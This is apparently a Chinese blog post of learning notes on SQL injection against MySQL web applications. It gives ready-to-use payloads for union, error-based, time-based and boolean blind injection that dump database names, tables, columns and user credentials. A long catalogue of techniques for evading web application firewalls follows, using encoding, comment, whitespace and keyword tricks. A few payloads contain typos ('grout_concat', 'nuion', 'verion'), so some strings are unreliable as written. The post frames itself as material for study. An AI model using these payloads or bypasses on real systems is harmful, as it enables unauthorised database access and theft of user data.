首先本文主要是把我對SQL注入的一些坑和最早學習SQL注入的時候的一些不理解的地方做一個梳理。
(本文僅為個人的一點皮毛理解,如有錯誤還望指出,轉載請說明出處,大佬勿噴=。=)
什么是SQL注入呢?
SQL注入網上的講解很多,我認為的SQL注入其實就是可以人為的控制代碼與數據庫進行交互的地方,對參數進行修改並執行惡意代碼來達到控制數據庫的目的。
SQL注入會在什么地方出現呢?
在所有的代碼與數據庫進行交互的地方都有可能出現SQL注入,如(登錄,注冊,查詢,讀取新聞頁面,等等等等)
sql注入不一定都在 ?id=1 這種參數后面出現,有時候也會在類似於讀取新聞頁面出現sql注入如: http://127.0.0.1/index/goods/goods/pid/29/token/123123123123.html 這種讀取數據庫信息的時候在 29 那里也會出現sql注入。所以有時候在測sql注入的時候盡量不要盲目的只是在?參數后面測試。
SQL注入有什么用呢?
獲取后台賬號密碼,獲取用戶信息,獲取mysql賬號密碼(有時候可能沒有),讀寫文件(讀寫函數開啟的情況)
如何判斷是否存在SQL注入?
一般我都會在參數后面加如下字符: ' " \ / ( ) ; 如果出現報錯的話根據報錯信息來判斷此處是否存在SQL注入
如果沒有報錯可以使用盲注來進行判斷,但是一般都有限制進行一些語句繞過就好了如: 1 select sleep(10) --+ 頁面延遲10秒左右的話就存在
判斷需不需要加單引號或者雙引號可以使用:?id=3-2 如果返回頁面跟輸入1是一樣的則不需要加引號。不一樣則需要
SQL注入構造payload(以mysql為例)
在MySQL的5.0版本以上系統會有一個information_schema庫,在這個庫里面存了所有的 庫、表、字段 的信息
所以在數據庫是MySQL的時候注入的payload都會用到這個數據庫,下面是數據庫儲存信息的表。
(我在最早學SQL注入的時候就是沒有深入的了解這個庫,所以payload總是構造不好,建議把這個庫需要用到的表了解深刻。)
information_schema數據庫表說明:
SCHEMATA表:提供了當前mysql實例中所有數據庫的信息。是show databases的結果取之此表。
schema_name 字段存儲了所有的數據庫信息 無重復
TABLES表:提供了關於數據庫中的表的信息(包括視圖)。詳細表述了某個表屬於哪個schema,表類型,表引擎,創建時間等信息。是show tables from schemaname的結果取之此表。
table_schema 字段存儲了所有數據庫信息,但有重復,需要去重
table_name 字段存儲了數據庫當中的表信息 無重復
COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此表。
table_schema 字段存儲了所有數據庫信息,但有重復,需要去重
table_name 字段存儲了數據庫當中的表信息 有重復 需要去重
column_name 存儲了表當中的字段信息 無重復
STATISTICS表:提供了關於表索引的信息。是show index from schemaname.tablename的結果取之此表。
注入需要用到的一些函數:
grout_concat 分組並拼接 distinct 去重
limit 0,1 從0行開始顯示第一行 0x7e是~
group_concat 顯示全部 concat顯示選定行
注入payload(盲注和報錯本人只會一個函數,其他沒做研究甚是羞愧=。=),如有限制根據情況進行繞過。
查看所有庫:select schema_name from information_schema.schemata
查看所有庫第一行:select concat(schema_name) from information_schema.schemata limit 0,1
查看當前庫的表:select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1
(注:table_schema=16進制編碼后的庫)
查看表的字段:select concat(column_name) from information_schema.columns where table_name=0x7265666572657273 limit 2,1
(注:table_schema=16進制編碼后的庫 table_name=16進制編碼后的表)
查看數據:select concat(id) from emails limit 1,1
聯合查詢
1' union select 1,2,3,database(),5,6
報錯注入:
1‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)
報錯注入:
1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
時間盲注
and If(ascii(substr(database(),1,1))>115,1,sleep(5))
and sleep (5) #
布爾盲注
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
過WAF的基本方式:
1、大小寫 select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
針對:/正則表達式/ i 不區分大小寫的規則
2、替關鍵字(關鍵字重復寫) select * from users where ID=1 ununionion selselectect 1,2,3,4%23
針對檢測到某個關鍵詞 替換為空的情況
3、編碼 select * from users where id=2%2bunion%2bselect%2b1,2,3,4--+
union ---> 0x756e696f6e20
select * from users where ID=1 %75nion select 1,2,3,4%23
編碼方式:URL編碼 (空格為%20 單引號%27 左括號%28 右括號%29,針對特殊情況可以兩次URL編碼)
十六進制編碼(針對某些數據,如特殊字符、特殊字符串等)
unicode:Unicode編碼 使用兩個字節編碼一個字符,高位不足使用0填充
單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
4、內聯注釋 /* */ union/**/select/**/1,2,3%23 、 //.--+,/**/,--,-- -,#,;--b
select * from dvwa.user where user_id id='1' and 1=1;--+';
5、等價函數替換 verion() @@version
mid substr substring
@@datadir datadir()
hex() bin() ascii()
sleep() benchmark()
等價符號:and &&; or || ; = >< re>100 re<102 re=101
6、特殊符號 + # %23 --+ \\\\
select`version()`
select+id-1+1.from users; "+"用於字符串連接 -和. 用於連接,可以用於逃過空格和關鍵詞的過濾
@符號:用戶自定義變量 select @……1.from users;
@@符號:系統變量
后續加 ~ ! % () [] + | %00 等等
7、內聯注釋加! select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+
8、緩沖區溢出
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
例子上的 0xA*1000 指的是0XA后面的 "A" 重復1000次,一般來說對應用軟件構成緩沖區溢出都需要比較大的測試長度,這里1000僅供參考,在一些情況下也可以更短
9、mysql 特性繞過
= 等於
:= 賦值
@ @+變量名可直接調用 select @test:=user();
注釋符號 /**/ --(空格) #
/!**/ /*!50000select*/
select * from news where tid=1 union /*!50000select*/ 1,2,3;
/*!union*/
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())
10、換行 123%0A123
11、隱私類型轉換
select 'a'=0;
select '1admin'=1;
綜合探索
內聯注釋
黑魔法:select{x user}from{x mysql.user};
換行符繞過:%23%0a %2d%2d%0a
繞過方式部分拆解
select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
[1] 第一部分:
(1)/**/ /*!50000union*/
(2)空白字符 %09
%0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
(3)浮點數形式 1.2 4.2
id=1.0union select 1,user() from admin
(4)1E0 1x一億的0次方
id=1e0nuion select 1,user() from admin
(5)\
id=\Nunion select 1,user() from admin
[2] 第二部分:
(1)空白字符 %09 %0a %0b %0c %0d %20
(2)注釋符 /**/ /*123213*/
(3)括號 id=1 union(select 'test','1',(select user() from admin limit 0,1))
[3] 第三部分:
(1)空白字符
(2)注釋符號
(3)其他字符:
! %21
+ %2b
- %2d
@ %40
~ %7e
select * from admin where id=1 union select~1,user(),version()
(4)其他方式:
括號 select * from admin where id=1 union select(1),user(),version()
內聯 select * from admin where id=1 union /*!50000select*/1,user(),version()
{} select * from admin where id=1 union select{x 1} user(),version()
" " select * from admin where id=1 union select"1" user(),version()
\N select * from admin where id=1 union select\N ,user(),version()
[4] 第四部分:
(1)空白字符
(2)注釋符
(3)其他符號
` %60 select * from admin where id=1 union select 1,2`from admin`;(注意閉合)
內斂注釋符號
加括號
加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)
(4)浮點數、1E0 、\N
[5] 第五部分:
(1)空白
(2)注釋符號
(3)其他符號
破則號-: select * from admin where id=1 union select 1,2 from-admin;(中文的)
聯注釋符號
{} select * from admin where id=1 union select 1,2 from{x admin};
() select * from admin where id=1 union select 1,2 from(admin);
以上為本人對SQL注入的一些理解,僅供用於學習和交流,轉載請說明出處謝謝。